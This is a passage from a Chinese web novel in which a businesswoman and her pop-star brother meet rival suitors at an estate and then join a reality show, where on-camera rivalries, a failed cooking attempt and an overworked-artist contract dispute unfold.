她好笑地抬手拍了拍江砚舟那颗仿佛冒着怨气的脑瓜:“行了,别皱着个眉了,跟个小老头似的。” 说着,她看了眼手机:“时间不早了,我得去公司一趟。明天约了两位重要的合作方,要谈一个大项目,还有些资料得再亲自核对一遍。” 江砚舟快步跟上:“我明天跟你一起去!” 江知雾动作一顿,回头看他:“你手刚拆石膏,去干嘛?在家歇着。” “反正章文时给我批了假,闲着也是闲着,我还能给你挡酒呢。”江砚舟理由充分,眼神里带着点跃跃欲试,显然不想一个人待着。 江知雾打量了他几秒,见他确实精神不错,想想便点了头:“行吧,小橡皮糖。” 次日,小橡皮糖打扮得人模人样,亦步亦趋地跟着被众人簇拥的姐姐,一同抵达了位于城郊的庄园。 庄园占地面积极广,绿荫环绕,远处是修剪整齐的广阔草坪和隐约可见的高尔夫球道。主建筑则是一栋融合了古典与现代风格的大型别墅,巨大的落地玻璃窗映照着蓝天白云,气派非凡。 江砚舟正略微好奇地打量着环境,目光不经意扫过不远处的角落,脚步几不可察地顿了一下。 只见黄芷禾正挽着一个中年男人的手臂,巧笑嫣然,身体几乎半倚在对方身上。 那个微微发福、略显油腻的中年男人,江砚舟一眼就认了出来——正是他名义上的老板,华耀传媒的董事长刘世昌。 他们怎么混到一起了? 江砚舟不由挑了挑眉。 只听黄芷禾娇声说道:“刘总,这里人多口杂,晒得也有些头晕,我们能不能去楼上休息区呀?那里清净些。” 刘世昌犹豫了一下:“乖,再忍忍。楼上今天被包场了,听说是有非常重要的贵宾谈事情,没接到邀请,我们不能随便上去。” 黄芷禾脸上顿时露出失落委屈的神情。 她是跟着刘世昌出来玩的,原以为凭着刘世昌的身份,在这里总能畅通无阻,没想到连二楼都上不去。 就在这时,她视线一转,恰好扫见了正走过来的江知雾和江砚舟。黄芷禾眼神闪烁,干脆装作没看见他们。 江砚舟对她观感极差,目光没有丝毫停留,脚步未顿地跟着姐姐继续前行。 而此刻,庄园的管家和几位工作人员已恭敬地迎上了江知雾一行人,低声确认后,便躬身引路,簇拥着他们姐弟及几位高管,径直走向那通往二楼、有侍者专门把守的楼梯口。 黄芷禾看着他们畅通无阻地被恭迎上楼,心里有一丝丝的委屈。 刘世昌也看到了这一幕,脸上有些挂不住。他干咳一声,含糊道:“咳……看来今天的贵宾各个来头不小啊。走吧,改天我再带你上去逛逛。” …… 江砚舟这还是第一次正儿八经地跟着姐姐参与这种级别的商业会谈,心里原本揣着些许初次涉足的新奇,还有不易察觉的紧张。 他深吸一口气,调整了一下领带,跟着姐姐步入二楼宽敞雅致的会客厅。 然而,当他看清坐在席间,正含笑与身旁人低语的那个熟悉身影时,那点紧张瞬间不翼而飞,取而代之的是一股子毫不掩饰的嫌弃和愕然。 他几乎是不经大脑思考,脱口而出: “怎么又是你?!” 脱口而出的问题,瞬间引来了会客厅所有人的注意力。 被点名的季宁深闻声抬头,脸上闪过一丝恰到好处的惊讶,随即化为温和的笑意。 他从容地从席间起身,整理了一下西装前襟,微笑着看向江家姐弟:“又见面了。” 江知雾确实也感到意外,她看了看季宁深,又扫了一眼周围明显以他为首的其他几位合作方高管,瞬间明白了他的身份。 她微微挑眉,语气带着一丝探究:“宁深?所以‘寰宇科技’实际上是你的产业?” 季宁深笑得云淡风轻:“家里的一点小生意,交由我打理,算是经营着玩玩。” 江砚舟暗自翻了个白眼。 昨晚他特意做了功课,姐姐这次的两位合作对象,寰宇科技和东方时代都是业内巨头,市值惊人,到了季宁深嘴里就成了“一点小生意”、“经营着玩玩”?这逼装得可真够清新脱俗的。 旁边一位寰宇的高管适时笑着接话:“季总您太谦虚了。江总,我们季总年轻有为,平日里只是不太喜欢张扬。” 另一位也附和道:“是啊,没想到季总和江总原来是旧相识,这可真是缘分,看来我们这次的合作一定会非常顺利愉快。” 寒暄间,东方时代的一位负责人笑着抬手,正准备引见席间一直安静坐着的年轻人。 那年轻人却已主动站起身来了。 他看起来约莫二十三四岁,穿着剪裁得体的浅灰色西装,气质阳光俊朗,眉眼间带着笑意,目光直接而坦率地落在江知雾身上。 “不用介绍了,”他笑起来嘴角有个浅浅的梨涡,声音清朗,“其实我和知雾姐姐也认识的。” “知雾姐姐”的称呼一出来,江砚舟就猛地蹙起眉头,毫不客气地上下打量着这个突然冒出来的、叫得如此亲昵的家伙。 而季宁深脸上那温和的笑意也淡了几分,目光落在对面那人的身上,带着点探究的意味。 男人倒是没在意两人的反应,主动朝江知雾伸出手,笑容更显亲切:“知雾姐姐,好久不见,我是林屿川,东方时代的合作方代表。这段时间一直在跟着我父亲学习公司管理,听说这次的合作对象是知雾姐姐你,我就主动申请过来学习了。” 江知雾看着他,眼中的惊讶渐渐褪去,露出一丝恍然的笑意,伸手与他轻握了一下:“原来是屿川,好久不见,没想到你现在已经开始参与公司事务了,真是年轻有为。” “姐姐过奖了,我还得多向你学习呢。”林屿川笑着收回手,语气谦逊。 季宁深站在一旁,唇角勾着弧度,眼底却没什么笑意:“不知道林公子和知雾姐姐是怎么认识的?” 林屿川转向季宁深,笑容不变:“我和知雾姐姐是国外U大读书时的校友。那会儿我大一,知雾姐姐已经快毕业了,在学校里很有名,我听过她主讲的学术报告,后来在一些华人学生活动上也遇到过几次,承蒙姐姐照顾过。” 江砚舟撇了撇嘴。 当年是有那么一段时间,江明启为了压制姐姐,找了个由头把她送到国外去待了两年,美其名曰深造,实则是流放,远离权力中心。 那段时间他自己在国内也被看管得很严,难怪对这个突然冒出来的“校友”毫无印象。 季宁深听了,只是轻轻“哦”了一声,尾音拖得略长。 有人察觉气氛微妙,连忙笑着打圆场:“各位快落座吧,咱们边喝茶边聊。” 他不说话还好,一开口,几乎是同时,江知雾身侧的三位年轻男士就都不约而同地、极其自然地伸手,为她拉开了面前的座椅。 动作整齐划一,意图不言而喻。 站在不远处正准备履行职责的侍者默默收回了刚迈出的脚步,脸上保持着职业微笑,内心却一片茫然。 ……看来完全不需要他。 江知雾神色淡定地坐下,江砚舟则瞥了旁边两人一眼,才坐在江知雾左手边的位置上。 季宁深神色不变,不着痕迹地收回手,极其自然地坐在了江知雾的右手边。 慢了一步的林屿川笑了笑,只能选择坐在他们对面。 侍者终于有机会上前,为各位宾客斟茶倒水。寒暄几句,菜品开始陆续端上。 江知雾没有过多沉迷于应酬,稍作品尝后,便示意身旁的江砚舟:“砚舟,把初步的合作方案给季总和林总看看。” 充当助理的江砚舟赶紧拿出几份装帧精美的文件,分别递给季宁深、林屿川以及他 们带来的核心高管团队。 “这是我们初步拟定的合作框架,请各位过目。”江知雾的声音清晰而冷静,瞬间将话题拉回正轨,“关于技术共享、市场划分以及利润分成比例,里面都有详细阐述,我们可以就细节进行讨论。” 接下来的时间,变成了专业的商业会谈。 季宁深和林屿川也收敛起神色,敲定起细节。 餐毕,侍者撤下餐具,换上清茶和餐后水果。一位高管看着窗外优美的庄园景色,笑着提议:“时间还早,这庄园的景致难得,不如我们出去走走,消消食,也放松一下?” 这个提议得到了大家的一致赞同。 一行人便移步室外,沿着修剪整齐的草坪和典雅的小径漫步。 走着走着,江知雾的目光突然被不远处的一片场地吸引—— 那是一个靶场,场地边缘放着几排箭筒,中间立着几个靶心,虽然隔着一段距离,却能看出场地维护得很好。 她的脚步下意识地顿了顿,眼底闪过一丝复杂的情绪。 以前父母还在的时候,经常带她和江砚舟来这种地方玩,滑雪、赛马、击剑、射箭……那些贵族子弟该学的东西,她几乎无一不精。 可后来意外发生,江知雾就没精力再去兼顾这些爱好,算下来,已经有五六年没碰过弓箭了。 她很快收回目光,继续往前走,仿佛只是不经意间瞥了一眼。 可季宁深若有所思地看了她一眼,却突然停下脚步。 “前面好像是个靶场?”他说,“难得来一趟,不如去玩玩射箭?正好活动活动筋骨。” 几位高管立即积极响应,毕竟能和合作方的人增进感情,是再好不过的事。 江知雾愣了一下,随即笑着点头:“也好。” 工作人员见状,立刻上前引导众人进入靶场,并为大家分发了合适的护具。 林屿川一边戴着护指,一边自然地靠近江知雾:“知雾姐姐,你以前玩过射箭吗?如果不太熟的话我可以……” 他的话还没说完,江知雾已经拿起护具,指尖利落缠好护指,左手稳稳托住弓身,右手拉弦。 她甚至没特意瞄准太久,只余光扫过靶心位置,指腹一松—— “嗖”的一声锐响,箭矢穿透空气,稳稳钉在五十米外的靶心红点上,箭尾还在微微震颤。 林屿川到了嘴边的“我可以教你”硬生生咽了回去。 江知雾刚摘下护指,就听见身侧又一声弓弦响。她转头看去,只见季宁深已经收了弓。他同样精准无比地命中了旁边另一个靶子的靶心,力道沉稳,箭簇深陷。 一位寰宇的高管忍不住低呼:“季总好准头!” 江知雾也侧目看去,由衷道:“很厉害。” 季宁深放下弓,眼底盛着浅淡的笑意:“知雾姐姐也一样,多年没碰还能保持这样的手感。” 林屿川看了看相视而语的两人,嘴角的梨涡浅了些。 他不甘示弱地笑了笑,目光扫向场地最远端那排距离最远的靶子,主动走了过去。 “看来今天大家都兴致很高啊,”他朗声说着,选中了最远的一个靶位,深吸一口气,凝神瞄准。 箭矢划过更长的距离,带着破风声,虽然微微偏离了正中心,但仍牢牢钉在了金色环内! “好!”东方时代那边的人立刻捧场。 林屿川略带得意地松了口气,刚想对江知雾说些什么,却见季宁深已经默不作声地重新拿起了一支箭。 他连脚步都没挪,就站在原地抬弓,视线越过中间几道靶位,径直锁定七十米外的那个红点。 气氛莫名地安静了下来,所有人都感觉到了一丝不同寻常的意味。 嗖! 箭矢如同长了眼睛一般,划过令人惊叹的距离,咄的一声,竟然精准地命中了那个远靶的靶心! 这下,连旁边谈笑的高管们都嗅到了点不对劲,安静如鸡地缩着脑袋,看两位年轻的负责人开始了充满火药味的无声较量。 江砚舟冷漠地抱臂旁观,放在兜里的手机突然震动了起来。 他摘掉护具,随手递给身旁的工作人员,看也没看来电显示就接起电话,带着几分不耐:“喂?谁啊?” “还能是谁?”章文时的声音从手机那头传来,“不是让你在家好好养手伤吗?我刚去你家,管家说你出门了。你这刚拆石膏的,又乱跑到哪去了?” 江砚舟低声回道:“我在城郊庄园。” “城郊庄园?你去那儿干嘛?”章文时不解。 江砚舟的视线落到不远处那两个较着劲儿的人身上,冷笑一声:“我在看两只孔雀开屏呢。” 章文时:“……?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 射箭环节在一种微妙而紧绷的氛围中结束。 几位在场的高管都是人精中的人精,何等擅长察言观色。他们默契地不再对那两位的技艺进行点评,转而谈论起庄园的历史和景色,试图将话题引向更安全的方向。 又闲谈漫步了片刻,江知雾看了眼时间,觉得此次会面的目的已基本达成,便适时提出告辞。 “感谢各位今天的款待,合作的具体细节,我们后续再让团队对接细化,今天就先告辞了。”她微笑着向众人道别,举止得体,无可挑剔。 林屿川一听,连忙说道:“知雾姐姐,我送你吧,正好我也顺路。” 江砚舟却立刻冷冷地插入他们中间,拒绝道:“不用了,我们有司机。” 江知雾无奈地笑了笑,向林屿川和季宁深等人摆了摆手,说道:“那我们就先走了,下次再聚。” 季宁深温声朝她道别:“路上小心,下次见。” “好。” 江知雾没有再多言,在江砚舟的催促下,转身优雅地坐进了等候已久的黑色轿车里。江砚舟紧随其后,迫不及待关上车门。 司机将车辆平稳地驶离。 林屿川站在原地,看着远去的车尾灯,脸上阳光俊朗的笑容慢慢沉淀下来。他轻声自语:“姐姐,再、见。” 他把“再见”两个字咬得很重,意味深长。 站在他身旁不远处的季宁深一语道破:“你该不会打算追到综艺节目上去吧?” “你都能追到综艺上,我为什么不能?”林屿川也不在乎被他猜中,语气里带着点挑衅,“你不会是怕知雾姐姐最后选我吧?” 季宁深神色未变:“你想多了。知雾姐姐不属于任何人,她想选谁是她的自由。” “自由归自由,”林屿川挺烦他这幅油盐不进的样子,冷哼道,“但总有个先来后到。论认识,我早在U大就认识知雾姐姐了,就算你想追,也得往后排排队吧?” 季宁深抬眸,平静地看向林屿川,反问:“你怎么就那么确定,我认识知雾姐姐的时间,比你晚呢?” 两人都目光在空中撞了一下,没有多少敌意,却也没什么善意,只各自扯了扯嘴角,算是告了别,随后便分别坐进了车里。 两辆车一前一后驶离庄园,朝着不同的方向开去,夜色里只留下两道渐行渐远的车辙。 几天后,《推开家门是你》新一期节目在万众期待中准时开播。 直播刚开始,弹幕就密密麻麻地刷了起来,观众们最关心的无疑是节目组将如何应对暨明旭塌房后留下的空缺。 节目组显然早有准备,直播信号一切入,导演便正式官宣了新加入的嘉宾身份:“欢迎我们的新成员——林屿川!他将与宿姚一起,组成实习兄弟,参与我们接下来的旅程!” 镜头适时给到刚从一辆低调但难掩奢华的黑色轿车上走下来的年轻男人。他穿着休闲的卫衣和长裤,面容俊朗,抬头看向镜头时,嘴角自然上扬,那抹浅浅的梨涡顿时显现,显得格外清爽又富有亲和力。 【新嘉宾好帅啊!!这颜值、这气质,可以直接出道了!】 【林屿川?名字挺好听,但没听说过哎,是素人吗?】 【看起来不像普通人哎,是哪家的小少爷出来体验生活了吗?】 最早到达录制地点,正在院子里等待其他人的黄芷禾,听到动静便望了过去。当看清来人的面容时,她明显愣了一下,脸上闪过一丝错愕。 她记得这张脸。 就在几天前,她跟着刘世昌去那个高级的庄园玩,曾远远看到过这个年轻人。 当时他正被几位一看就是高管精英的人簇拥着,谈笑风生地走上只对特定宾客开放的二楼区域。她记得刘世昌提过一句:“能上二楼的,都是真正的重量级人物,非富即贵。” 黄芷禾的心跳瞬间加速 了几分。她迅速调整好表情,脸上绽开无比热情的笑容,快步迎了上去。 “你好你好!欢迎来到《推开家门是你》!”她主动伸出手,语气亲切又带着恰到好处的惊喜,“我是黄芷禾,你是林屿川对吧?哇,没想到新嘉宾这么帅!” 林屿川出于礼貌与她握了握手:“你好,我是林屿川,很高兴认识你。” 黄芷禾一边引着他往别墅里走,一边极其自然熟络地继续找话题,试图拉近关系:“弟弟看着真年轻啊,刚大学毕业吗?之前没在娱乐圈见过你,是第一次录综艺吧?” 林屿川挑挑拣拣地回答了:“确实是第一次录综艺。” 黄芷禾于是热情地笑了笑:“别紧张,有什么不懂的或者需要帮忙的,随时都可以问我,千万别客气。” “那就先谢谢黄老师了。”林屿川轻描淡写地说。 这段互动被镜头完整地拍了下来,实时转播的弹幕里,黄芷禾的粉丝立刻活跃起来: 【芷禾真的是很会照顾人的姐姐呢,对新嘉宾这么热情,一点架子都没有!】 【她的亲和力一直都很强,感觉跟谁都能很快熟悉起来。】 【新帅哥看起来也挺有礼貌的,虽然话不多,但看气质和芷禾还挺搭的,应该能相处得很好。】 粉丝们一边夸着黄芷禾周到,一边继续好奇林屿川的身份。 林屿川则始终保持着初识应有的礼貌,回应得体,却绝不多说一句。他的目光时不时地飘向路口,似乎在等待着什么。 黄芷禾心下明了,对方显然没有深交或者透露身份的意思,她虽然有些失望,但也不敢表现得太急切,只好继续维持着热情欢迎的姿态。 就在她苦思冥想如何进一步与林屿川拉近关系时,院外又传来了汽车引擎声。 林屿川的眼睛瞬间亮了起来,刚才那点礼貌但疏离的客套神色消失不见,取而代之的是毫不掩饰的期待和喜悦。 他甚至没等黄芷禾反应,就快步朝着院门口迎去。 黄芷禾被晾在原地,脸上的笑容也凝固了,只能略显尴尬地跟着转过身。 新来的车上,率先下来的是江砚舟,他习惯性地扫视了一圈环境,神色冷淡。接着,他微微侧身,绅士地朝车内伸出手。 一只纤细白皙的手轻轻搭在他的手背上,江知雾优雅地俯身下车。她今天穿着简约舒适的针织衫,长发随意披散,却丝毫难掩那种浑然天成的清冷高贵。 “知雾姐姐!”林屿川几步就跨到了江知雾面前,笑容灿烂得晃眼,“这么快又见面了!真巧啊!” 这前后截然不同、天差地别的态度,以及那声亲昵无比的“知雾姐姐”,让黄芷禾的脸色瞬间变得有些难看。 这破综艺怕不是被下蛊了吧?为什么每个人都对江知雾那么殷勤? 江知雾对于林屿川的出现似乎也有些意外,但很快便恢复了得体的微笑:“屿川?你怎么会在这里?” 林屿川笑得见牙不见眼:“惊喜吗,知雾姐姐?” 江砚舟目光冷淡地扫过他,语气里带着几分毫不掩饰的嘲讽:“林公子贵人事忙,怎么突然有兴致来拍这种综艺了?” 林屿川面不改色,笑嘻嘻地找了个万能借口:“体验生活嘛,而且我觉得这个节目理念很好,推开家门是你,多令人向往啊。” 江砚舟不满地吐槽:“这明明是主打亲情观察的综艺。之前宿姚和他队友一起来,还能勉强说是兄弟情。但你和宿姚八竿子都打不着一块儿吧?” 他毫不留情地指出“实习兄弟”逻辑上的生硬。 就在这时,被点名的宿姚正好走到近前。他性格并不十分热络,突然被卷入话题中心,脸上也没什么表情。 林屿川反应极快,他一把揽住宿姚的肩膀,动作显得无比自然亲热。 “谁说的?你这可就信息滞后了!”林屿川脸不红心不跳地大声说道,“我跟宿姚可是刚刚才结拜过的义兄义弟。不是家人,胜似家人!” 他一边说着,一边还用力拍了拍宿姚的后背,试图让他赶紧配合自己。 季宁深恰好牵着季念念从车里出来,听到这句话,他眉梢微微上挑。 “哦?”他状似无辜地眨眨眼,“所以你们俩谁是哥哥,谁是弟弟?” “当然是我。” “我。” 宿姚和林屿川都毫不犹豫地接话。 宿姚目光在林屿川揽着他肩膀的手上停留了一秒,回想了一下方才对方见到江知雾时那格外热情的态度。 他似乎明白了什么,语气平淡无波地说:“我虚长半岁,是屿川的义兄。对吧,弟弟?” 被趁机占了便宜的林屿川笑容瞬间卡壳,终于正眼望向宿姚。 当着镜头的面,他肯定不能当场反驳,只能硬着头皮,心不甘情不愿地咬牙道:“是的呢,哥哥。” 观众们早已嗅出了这不同寻常的味道: 【卧槽卧槽卧槽!我感觉到了针锋相对的修罗场气息!一上来就这么刺激吗?】 【没想到啊没想到,宿姚你长得浓眉大眼的,居然还挺腹黑!可把咱新来的弟弟给憋屈坏了哈哈哈哈!】 【没人注意季宁深吗?短短一句话看似无辜,实则精准拱火。】 【噗,早就发现了,季大佬根本不是什么老实人,人家段位高着呢。】 【打起来!打起来!(搬好小板凳)】 第57章 几个大男人在院子里你一言,我一语,怼得热热闹闹。 黄芷禾站在一旁,看着那几个条件优越的男人或明或暗地围着江知雾转,而自己却被无形中排斥在外,心里像是打翻了五味瓶,酸涩难言。 她捏了捏指尖,努力维持着脸上的笑容,状似无意地轻声插话:“江姐姐真是受欢迎,不过话说回来,身边这么多优秀的人围着,你可得好好把握,不然容易让人误会成脚踏几条船呢。” 江知雾还没开口,林屿川就先扭过头,脸上似笑非笑的:“欸?我和我结拜兄弟打个招呼,怎么就成知雾姐姐脚踏几条船了?”他顿了顿,露出恍然大悟的表情,“你该不会是嫉妒知雾姐姐吧?!” 黄芷禾立刻否认:“我嫉妒什么?屿川你真会开玩笑……” “不嫉妒吗?”林屿川挑眉,语气轻松却带着刺,“那干嘛说话酸里酸气的?我还以为你嫉妒知雾姐姐受人欢迎呢。” 这话可谓相当不客气了。 黄芷禾的脸瞬间涨红,被噎得说不出话。 【哈哈哈哈笑死,本来以为来了个小奶狗弟弟,结果又是个毒舌狂魔。】 【他们几个的嘴没有最毒,只有更毒。】 【谁让黄芷禾又开始阴阳怪气的,新嘉宾也没说错嘛,她那嘴脸摆明 了就是嫉妒。】 看到黄芷禾下不来台,在场几人都没有打圆场的意思。 李乐乐和李柏自从隧道死里逃生后,就对她没了好感,见状也并不打算解围。 而江砚舟更是毫不留情地补刀:“既然嫉妒,这福气要不给你吧,我姐不需要这些狂蜂浪蝶的围着。”他嫌弃地扫了林屿川和季宁深一眼。 林屿川立刻转向江砚舟,笑嘻嘻地反驳:“砚舟此言差矣!这怎么能叫狂蜂浪蝶呢?我们这是发自内心的欣赏和……” 眼看这几人又要吵吵起来,导演赶紧拿着喇叭打断:“好了好了!欢迎环节结束!大家先进屋安顿一下,准备开始今天的正式任务了!” 众人这才暂时休战,拖着行李各自走向节目组分配的房间。 黄芷禾落在最后面,脸上火辣辣的,心里充满了委屈和难堪。 林屿川和江砚舟一唱一和,几乎是把她的脸面按在地上摩擦。她不敢对背景不明的林屿川怎么样,但江砚舟……不过是刘世昌手底下的赚钱工具而已,凭什么这么看不起人? 回到节目组安排的临时房间,关上门隔绝了镜头,黄芷禾立刻掏出手机,点开了与刘世昌的聊天界面。 她咬着唇,犹豫了一下,先发过去一个委屈巴巴的表情包。 刘世昌很快回复:【怎么了宝贝?录制不顺利?】 黄芷禾手指飞快地打字,语气拿捏得恰到好处:【没什么大事,就是刚到新环境,有点不适应……可能我性格还是不够好吧,不太会说话,容易得罪人。】 刘世昌:【谁给你气受了?】 黄芷禾不敢直接提林屿川,于是避重就轻地把矛头指向江砚舟:【也没什么……就是砚舟弟弟可能对我有点误会,说话比较直。其实还好吧,我都习惯了。】 她故意拍了张自己掉眼泪的照片过去。 刘世昌那边沉默了几秒。 他点开图片,看着黄芷禾那副泫然欲泣、我见犹怜的模样,刘世昌心里那点大男子主义的保护欲顿时冒了出来。 他当然知道江砚舟是他公司现在最赚钱的艺人之一,性格狂傲也不是一天两天了。但看着自己的小情儿被自己公司的签约艺人这样下面子,感觉总归是不太舒服。 教训江砚舟是不可能的,那小子现在是公司的摇钱树,动不得。但稍微给他找点不痛快,让他收敛点,还是可以做到的。 既能哄小情人开心,也能彰显一下自己的权威。 于是,他回复道:【行了,别委屈了。我回头让人敲打他一下,让他录节目时注意点分寸,别太目中无人。】 黄芷禾看到消息,心里顿时舒服了不少,连忙柔声细语地拍起刘世昌的马屁。 节目组这次选定的拍摄地点是一栋海边别墅,推开窗就能看到蔚蓝的海岸线和细软的沙滩。 但因为久未居住,透着股荒废感。院子里杂草丛生,栏杆上锈迹斑斑,蒙着厚厚的灰尘和海风带来的细沙。 大家简单收拾了行李后,便在导演的催促下开始领取任务。 几个男生大多被分到了最耗费体力的院子除草工作;黄芷禾和李乐乐稍微好一点,负责擦拭别墅的栏杆和挂画;江知雾、季念念、林屿川则负责做晚餐。 在看到任务卡的时候,江知雾不易察觉地僵硬了一两秒。 江砚舟只凑过来看了一眼,就神色怪异地去除草了。 江知雾系上节目组准备的素色围裙,指尖轻轻拽了拽衣角,将蓬松的长发随意挽在脑后,露出一截白皙修长的脖颈。 “知雾姐姐会做饭吗?”林屿川好奇地问。 江知雾犹豫了一下,坦诚道:“在国外留学的时候,经常自己煮点面条吃……应该,算是会做饭吧?”她的语气里带着点不确定,但听在林屿川耳里就是谦虚。 “那肯定好吃!”林屿川立刻开启夸夸模式,“知雾姐姐人美心善手艺巧!光是想想就期待得不得了!” 季念念小朋友赞同他的话,举起小手,声音清脆:“江姐姐做饭肯定好吃,念念帮你打下手!我会择菜,还会剥蒜!” 弹幕都被小朋友给萌化了: 【啊啊啊念念好乖!小丫头也太会讨人喜欢了吧!】 【好羡慕他们啊,居然能吃到姐姐亲手做的饭!我也想吃……(咬手帕)】 【系围裙的知雾姐姐也好美,我人没了。】 【节目组搞快点,我要看姐姐下厨!】 江知雾被他们俩说得有点不好意思,笑了笑:“那我们先洗菜吧。” 过程一开始是顺利的。 烧水,洗点青菜,煎个荷包蛋——虽然煎蛋的边缘有点焦黑,但整体形状还在,勉强算是成功。 林屿川在一旁闭着眼睛吹捧“蛋形完美”、“焦香酥脆”,小团子词汇量没他多,只一个劲儿点头。 然而,当水烧开,江知雾拿出干面条,准备下面条时,屏幕前的观众渐渐察觉到了一丝不对劲。 她拿着那捆干面条,对着滚滚的开水,似乎犹豫了一下。然后,她并没有将面条散开下入锅中,而是……整捆地、直挺挺地、垂直地塞进了锅里。 因为面条太长,锅口直径有限,她塞得有点艰难。 一部分面条接触到了开水开始变软,但大部分还硬挺在外面,场面一时有些滑稽。 林屿川脸上的笑容僵了一下:“……知雾姐姐,这个面……是不是要掰断或者散开再下?” 江知雾动作顿住,脸上露出一丝茫然:“啊?不是直接放进去吗?它自己会软下去吧?”她说着,还用手里的筷子往下按了按那倔强地挺在外面的面条。 这操作看得弹幕嘴角狂抽: 【我感觉我好像夸早了,江姐姐该不会是传说中的厨房杀手吧?】 【江姐姐居然以为面条会自己软下去……哈哈哈哈她好认真地在犯傻。】 【整捆下面的操作把我人给看傻了。】 在镜头的注视下,锅里的水逐渐变得浑浊。面条外圈已经糊烂,芯子却还硬着,在锅里纠缠成一团巨大的、灰白色的面疙瘩。 江知雾似乎也意识到方法可能不对,赶紧奋力补救,拼命把酱油和盐往锅里加。最后出锅时,那锅面条已经变成了一种难以形容的、深褐色的、粘稠的糊状物,上面零星点缀着几片煮得过烂的青菜和那个边缘焦黑的煎蛋。 她小心翼翼地将这锅“杰作”盛进几个大碗里,解下围裙说:“可以吃饭了。” 除了宣称自己要回房间休息的黄芷禾,其他人全部围拢进了餐厅。 看着桌上那几碗颜色深沉、质地粘腻的面条,众人陷入了短暂的沉默。 江砚舟只瞥了一眼,立刻后退半步,面无表情地说:“我最近健身,碳水摄入严格控制,不太饿,吃点蛋白棒就行。” 林屿川立刻抓住表现机会,大声谴责:“砚舟,这就是你的不是了。这可是知雾姐姐辛苦为我们做的饭,你怎么能看都不看就说不吃?太伤人心了!” 江砚舟意味深长地冷笑:“行,那你多吃点,我那份也归你了。千万别客气。” “吃就吃,我觉得这面条只是卖相不好,味道说不定不错呢。”林屿川拿起筷子,在众人的注视下,夹起一坨面条塞进嘴里。 下一秒,他的脸色瞬间变幻,一种极其复杂的、混合了过咸、微苦、夹生和糊味的古怪口感猛烈冲击着他的味蕾。 他喉头剧烈滚动,差点当场干呕出来,全靠强大的意志力硬生生咽了下去,整张脸憋得通红。 李乐乐也拿起筷子尝了一口,嚼了两下就不动了,脸上的表情十分复杂。她放下筷子,干笑了两声:“江姐姐,我算是发现了,原来你也有不擅长的事情啊……” 江知雾看着大家的反应,后知后觉地意识到自己的厨艺可能真的有点问题,脸上浮现出一丝不好意思的红晕:“对不起啊,我没想到会煮成这样。” “没关系。” 一直没说话的季宁深突然开口,他拿起筷子,夹起一大口面糊放进嘴里,面不改色地嚼了嚼,咽了下去。 众人惊讶地转头,只见季宁深不知何时已经坐下,正拿着筷子,面不改色地、一口接一口地吃着那碗面目全非的面条,速度均匀,表情淡然,仿佛在品尝什么美味珍馐。 他甚至抬头对江知雾露出了一个笑容:“味道很好,辛苦知雾姐姐了。” 林屿川:“???” 江砚舟:“……” 靠,又被他给装到了! 第58章 了! 餐厅里的气氛一度十分诡异。 所有人都目瞪口呆地看着季宁深面不改色地、一口接一口地吃着那碗深褐色的糊状物。 江知雾自己也看得心情复杂至极。 她虽然以前自己凑合着吃的时候没觉得有什么大问题,顶多是味道平淡或者卖相差了点,但今天从大家的反应,她清晰地认识到自己的厨艺可能非常糟糕。 看着季宁深碗里迅速减少的面糊,江知雾忍不住走上前道:“宁深,真的不用勉强,我知道我做得不好吃,你别吃了,对身体不好。” “没有勉强。”季宁深夹起一块边缘焦黑的煎蛋递到嘴边,眼神认真,“煎蛋的火候很特别,外酥里嫩,比外面早餐店的更有烟火气。” 在场所有人:“……” 不是,您管这煎过头的鸡蛋叫外酥里嫩啊?还真会说话。 一旁的江砚舟把这一切看在眼里,眉头拧了又松。 他之前一直觉得季宁深不管做什么都带着股装模作样的劲儿,可此刻看着对方面不改色吃着那碗“黑暗料理”,甚至还能一本正经地夸出花样,心底竟莫名升起一丝崇敬—— 季宁深,是个狠人。 弹幕早就在吐槽了: 【我的天!季宁深是味觉失灵了吗???】 【这难道就是传说中的真爱滤镜?】 【哈哈哈江砚舟和新嘉宾的表情笑死我了,仿佛在瞻仰某种神迹。】 江知雾看着周围人一言难尽的表情,终于彻底认清了自己在厨艺上的天赋异禀。 她带着歉意开口:“要不我再点个餐吧,这顿饭我请。” 江砚舟看出了姐姐的不好意思,连忙上前,从她手中接过围裙,系在自己身上:“姐,不用麻烦,我来做一点吧。” 说着,他熟练地开火,开始准备食材。 江砚舟的动作远比江知雾利落专业得多。热锅、倒油、切配菜、打蛋,一气呵成。很快,厨房里就飘出了真正诱人的食物香气,与刚才那锅糊糊形成了惨烈对比。 不过十几分钟,几碗色香味俱全的青菜鸡蛋面就出了锅,虽然简单,但热气腾腾,蛋花嫩滑,青菜翠绿,看着就让人食指大动。 接下来的几天,节目组的任务果然都围绕着清洁和整理这栋海边别墅展开。 除杂草、刷栏杆、擦玻璃、清理布满灰尘的阁楼……任务繁琐又耗费体力。几个男生自然是主力,女生们也都忙得团团转。 宿姚一边擦窗户一边嘀咕:“我怎么感觉我们成了节目组的免费保洁了?” 李柏扶着酸痛的腰附和:“而且是不给钱的那种。” 连精力旺盛的季念念小朋友都累得小脸通红,抱着比她还高的拖把小声叹气。 不过在场嘉宾中最忙的,还要数江砚舟。 作为顶流歌手,他的行程本就密集。但这次录制期间,他几乎每天傍晚节目拍摄刚一结束,就要立刻坐上公司安排的车,赶往两小时车程外的另一个城市参加商业活动。 然后,他总是在后半夜,甚至天快亮时,再风尘仆仆地赶回别墅,几乎睡不了两三个小时,就又得爬起来继续新一天的录制。 江知雾向来尊重弟弟的工作,很少干涉他的事业安排。但看着弟弟这样连轴转,身体肉眼可见地消耗,她的眉头越皱越紧。 当江砚舟又一次结束录制,接过助理递来的外套和车钥匙,准备匆匆离开时,江知雾终于忍不住,在别墅门口拦住了他。 “砚舟,”她的声音很严肃,“你等等。你这几天的行程到底是怎么安排的?连轴转不休息,身体怎么受得了?” 江砚舟愣了一下,语气软了下来:“姐,没事,都是正常工作,忙过这阵就好了。” “正常工作?”江知雾显然不信,“什么样的正常工作需要你每天后半夜来回奔波?你的团队是怎么做规划的?” 这时,负责接人的章文时赶紧趁机告状:“江总,您是不知道,公司早就把砚舟当摇钱树了!以前虽然忙,但至少还会留休息时间,可最近的安排越来越不合理了。” 江知雾的眉头越皱越紧:“你们有跟公司沟通过吗?” 章文时语气愤懑地说:“有,但沟通过好几次都没用!再这样下去,铁打的身体也扛不住啊!” 江知雾目光落在弟弟泛着红血丝的眼睛上,语气不容置喙:“今天的行程不用去了,跟主办方说一声,违约金我来承担。至于华耀传媒,明天就去谈解约。” 